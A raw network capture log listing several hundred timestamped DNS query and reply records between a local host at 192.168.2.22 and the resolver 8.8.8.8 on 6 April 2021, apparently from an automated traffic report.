Apr 6, 2021 19:41:52.037919044 CEST	53	64214	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:52.153104067 CEST	58726	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:52.202106953 CEST	53	58726	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:52.330782890 CEST	51671	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:52.376697063 CEST	53	51671	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:52.501183033 CEST	50512	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:52.550002098 CEST	53	50512	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:52.677786112 CEST	64885	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:52.727103949 CEST	53	64885	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:52.865483999 CEST	56337	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:52.914462090 CEST	53	56337	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:53.058445930 CEST	58595	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:53.107551098 CEST	53	58595	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:53.228348970 CEST	63601	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:53.280740023 CEST	53	63601	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:53.399163008 CEST	55667	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:53.449280024 CEST	53	55667	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:53.579252958 CEST	54698	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:53.625228882 CEST	53	54698	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:53.757285118 CEST	55818	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:53.806365967 CEST	53	55818	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:53.943454981 CEST	52083	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:53.989464998 CEST	53	52083	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:54.099431038 CEST	62194	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:54.149005890 CEST	53	62194	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:54.286556005 CEST	62044	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:54.344547987 CEST	53	62044	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:54.476528883 CEST	51635	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:54.522775888 CEST	53	51635	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:54.651874065 CEST	59291	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:54.701044083 CEST	53	59291	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:54.846915960 CEST	59339	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:54.893531084 CEST	53	59339	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:55.015343904 CEST	62543	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:55.065582037 CEST	53	62543	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:55.182255983 CEST	51316	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:55.228740931 CEST	53	51316	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:55.357355118 CEST	54843	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:55.407466888 CEST	53	54843	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:55.532236099 CEST	54612	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:55.582575083 CEST	53	54612	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:55.718703985 CEST	63968	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:55.765532970 CEST	53	63968	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:55.880920887 CEST	51055	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:55.902189016 CEST	58735	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:55.930464983 CEST	53	51055	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:55.952996016 CEST	53	58735	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:56.067014933 CEST	55576	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:56.114056110 CEST	53	55576	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:56.243905067 CEST	55984	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:56.292602062 CEST	53	55984	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:56.418689966 CEST	53320	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:56.469338894 CEST	53	53320	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:56.593723059 CEST	60342	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:56.644510984 CEST	53	60342	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:56.788719893 CEST	52801	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:56.834665060 CEST	53	52801	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:56.967940092 CEST	50913	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:57.016884089 CEST	53	50913	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:57.168148041 CEST	51201	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:57.218380928 CEST	53	51201	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:57.343390942 CEST	55461	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:57.389307022 CEST	53	55461	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:57.505929947 CEST	51352	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:57.555474997 CEST	53	51352	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:57.692027092 CEST	51423	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:57.740127087 CEST	53	51423	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:57.876300097 CEST	62403	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:57.922480106 CEST	53	62403	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:58.074202061 CEST	60415	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:58.120232105 CEST	53	60415	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:58.243900061 CEST	58026	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:58.289894104 CEST	53	58026	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:58.421942949 CEST	49529	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:58.470900059 CEST	53	49529	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:58.595458031 CEST	56515	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:58.641525984 CEST	53	56515	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:58.779453039 CEST	59488	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:58.827251911 CEST	53	59488	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:58.957066059 CEST	57813	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:59.004538059 CEST	53	57813	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:59.163058043 CEST	62928	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:59.211572886 CEST	53	62928	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:59.333930969 CEST	62318	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:59.380413055 CEST	53	62318	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:59.507287979 CEST	64672	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:59.556237936 CEST	53	64672	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:59.718620062 CEST	59796	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:59.764707088 CEST	53	59796	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:59.886928082 CEST	62201	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:59.927500963 CEST	57119	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:59.933067083 CEST	53	62201	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:59.973819017 CEST	53	57119	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:00.053153992 CEST	62573	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:00.101142883 CEST	53	62573	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:00.228764057 CEST	59576	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:00.274677038 CEST	53	59576	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:00.392771006 CEST	62796	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:00.438999891 CEST	53	62796	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:00.572372913 CEST	55072	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:00.619324923 CEST	53	55072	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:00.730221987 CEST	64701	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:00.778482914 CEST	53	64701	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:00.919715881 CEST	59409	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:00.970303059 CEST	53	59409	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:01.091108084 CEST	50699	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:01.137034893 CEST	53	50699	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:01.271410942 CEST	57632	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:01.325675964 CEST	53	57632	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:01.448868990 CEST	57009	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:01.497160912 CEST	53	57009	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:01.620419979 CEST	50877	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:01.666512966 CEST	53	50877	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:01.797168016 CEST	53943	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:01.843386889 CEST	53	53943	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:01.971838951 CEST	62570	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:02.021790981 CEST	53	62570	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:02.153645992 CEST	58045	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:02.199714899 CEST	53	58045	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:02.350836039 CEST	52038	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:02.398900986 CEST	53	52038	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:02.511094093 CEST	57087	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:02.557260990 CEST	53	57087	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:02.682351112 CEST	57162	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:02.728431940 CEST	53	57162	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:02.851183891 CEST	63118	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:02.897326946 CEST	53	63118	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:03.011079073 CEST	61453	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:03.057466030 CEST	53	61453	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:03.190000057 CEST	53457	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:03.236287117 CEST	53	53457	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:03.382018089 CEST	58483	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:03.431418896 CEST	53	58483	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:03.555335045 CEST	61586	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:03.604156971 CEST	53	61586	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:03.729757071 CEST	65422	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:03.775981903 CEST	53	65422	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:03.917316914 CEST	64901	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:03.956284046 CEST	53457	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:03.963377953 CEST	53	64901	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:04.002418041 CEST	53	53457	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:04.087474108 CEST	52655	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:04.136375904 CEST	53	52655	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:04.266160011 CEST	56697	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:04.317379951 CEST	53	56697	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:04.655273914 CEST	50386	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:04.701368093 CEST	53	50386	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:05.286155939 CEST	56037	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:05.332401991 CEST	53	56037	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:05.699647903 CEST	58298	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:05.747744083 CEST	53	58298	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:06.178066969 CEST	57907	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:06.229018927 CEST	53	57907	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:06.954581022 CEST	55483	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:07.000691891 CEST	53	55483	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:07.512590885 CEST	53488	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:07.563194036 CEST	53	53488	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:07.812271118 CEST	57353	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:07.859637022 CEST	53	57353	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:07.990094900 CEST	50586	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:08.039262056 CEST	53	50586	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:08.176816940 CEST	62699	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:08.223378897 CEST	53	62699	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:08.381506920 CEST	63752	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:08.427258015 CEST	53	63752	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:08.553906918 CEST	63509	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:08.601442099 CEST	53	63509	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:08.807526112 CEST	63549	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:08.853430033 CEST	53	63549	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:09.178617001 CEST	61937	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:09.226464033 CEST	53	61937	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:09.354269028 CEST	59282	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:09.400111914 CEST	53	59282	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:09.628549099 CEST	60832	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:09.635210037 CEST	60058	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:09.676388025 CEST	53	60832	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:09.681921959 CEST	53	60058	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:09.832098961 CEST	53317	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:09.878000975 CEST	53	53317	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:10.017004013 CEST	59850	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:10.067082882 CEST	53	59850	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:10.219232082 CEST	61345	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:10.265188932 CEST	53	61345	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:10.388766050 CEST	55343	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:10.434727907 CEST	53	55343	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:10.563302040 CEST	63818	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:10.612060070 CEST	53	63818	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:10.766386032 CEST	54435	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:10.812540054 CEST	53	54435	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:11.000695944 CEST	63355	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:11.048989058 CEST	53	63355	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:11.194502115 CEST	59196	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:11.241987944 CEST	53	59196	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:11.390312910 CEST	60455	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:11.437654972 CEST	53	60455	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:11.602787971 CEST	58232	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:11.649086952 CEST	53	58232	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:11.772211075 CEST	60835	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:11.818455935 CEST	53	60835	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:11.942009926 CEST	56086	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:11.988176107 CEST	53	56086	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:12.103226900 CEST	55083	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:12.152081966 CEST	53	55083	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:12.287353039 CEST	65277	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:12.335345030 CEST	53	65277	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:12.529500961 CEST	55648	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:12.577694893 CEST	53	55648	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:12.754573107 CEST	56736	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:12.801980019 CEST	53	56736	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:12.928328991 CEST	59503	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:12.974637032 CEST	53	59503	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:13.106350899 CEST	62924	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:13.153296947 CEST	53	62924	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:13.285439968 CEST	57641	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:13.331347942 CEST	53	57641	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:13.451190948 CEST	61618	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:13.500329018 CEST	53	61618	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:13.674339056 CEST	61802	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:13.723323107 CEST	53	61802	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:13.844223022 CEST	51115	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:13.894334078 CEST	53	51115	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:14.006727934 CEST	52290	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:14.055567026 CEST	53	52290	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:14.111937046 CEST	61266	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:14.158030033 CEST	53	61266	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:14.190180063 CEST	52402	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:14.236222029 CEST	53	52402	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:14.359498024 CEST	50872	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:14.405405998 CEST	53	50872	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:14.575262070 CEST	55881	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:14.624495029 CEST	53	55881	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:14.750696898 CEST	62765	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:14.798022985 CEST	53	62765	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:14.914402962 CEST	56702	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:14.962238073 CEST	53	56702	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:15.097834110 CEST	54336	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:15.143809080 CEST	53	54336	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:15.262175083 CEST	60530	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:15.310986996 CEST	53	60530	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:15.443793058 CEST	53753	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:15.491575956 CEST	53	53753	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:15.643202066 CEST	61331	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:15.692091942 CEST	53	61331	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:15.824106932 CEST	65383	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:15.870172977 CEST	53	65383	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:16.071894884 CEST	60045	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:16.119245052 CEST	53	60045	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:16.250844002 CEST	60636	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:16.297472954 CEST	53	60636	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:16.431119919 CEST	59949	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:16.480935097 CEST	53	59949	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:16.642393112 CEST	51573	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:16.692321062 CEST	53	51573	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:16.820873022 CEST	61725	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:16.868537903 CEST	53	61725	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:16.994086027 CEST	55687	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:17.045438051 CEST	53	55687	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:17.173378944 CEST	65459	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:17.221864939 CEST	53	65459	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:17.353614092 CEST	62094	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:17.402648926 CEST	53	62094	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:17.517313004 CEST	57053	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:17.565294027 CEST	53	57053	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:17.756531000 CEST	53593	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:17.802484989 CEST	53	53593	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:17.928697109 CEST	64727	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:17.975872993 CEST	53	64727	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:18.101993084 CEST	62462	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:18.151314020 CEST	53	62462	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:18.314440012 CEST	54132	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:18.366693974 CEST	53	54132	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:18.497490883 CEST	53462	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:18.548057079 CEST	53	53462	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:18.691114902 CEST	61596	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:18.737101078 CEST	53	61596	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:18.872212887 CEST	64978	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:18.921735048 CEST	53	64978	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:19.063473940 CEST	52139	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:19.109467983 CEST	53	52139	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:19.238744020 CEST	65011	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:19.285516024 CEST	53	65011	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:19.408555984 CEST	53905	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:19.458547115 CEST	53	53905	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:19.589885950 CEST	53282	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:19.637598991 CEST	53	53282	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:19.753222942 CEST	55450	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:19.799103022 CEST	53	55450	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:19.885521889 CEST	65346	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:19.942873955 CEST	53	65346	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:19.944510937 CEST	63857	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:19.990502119 CEST	53	63857	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:20.117109060 CEST	57709	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:20.163167953 CEST	53	57709	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:20.292670965 CEST	61411	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:20.340697050 CEST	53	61411	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:20.622066975 CEST	56515	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:20.668245077 CEST	53	56515	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:20.817867994 CEST	53821	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:20.863915920 CEST	53	53821	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:20.997106075 CEST	55716	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:21.045574903 CEST	53	55716	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:21.188359022 CEST	62632	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:21.237277985 CEST	53	62632	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:21.366070032 CEST	57901	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:21.413785934 CEST	53	57901	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:21.526907921 CEST	62211	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:21.581470013 CEST	53	62211	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:21.705212116 CEST	54018	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:21.751272917 CEST	53	54018	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:21.873001099 CEST	65015	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:21.920979023 CEST	53	65015	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:22.108041048 CEST	58380	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:22.154211044 CEST	53	58380	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:22.284003019 CEST	52379	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:22.332870960 CEST	53	52379	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:22.461739063 CEST	64075	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:22.509052992 CEST	53	64075	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:22.645239115 CEST	63021	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:22.694031000 CEST	53	63021	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:22.825229883 CEST	65316	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:22.871140957 CEST	53	65316	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:23.013982058 CEST	64475	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:23.062135935 CEST	53	64475	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:23.196315050 CEST	61665	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:23.244199991 CEST	53	61665	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:23.379216909 CEST	53536	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:23.425602913 CEST	53	53536	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:23.547393084 CEST	61414	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:23.593420982 CEST	53	61414	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:23.755938053 CEST	52169	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:23.804944992 CEST	53	52169	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:23.941715956 CEST	49917	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:23.988109112 CEST	53	49917	8.8.8.8	192.168.2.22
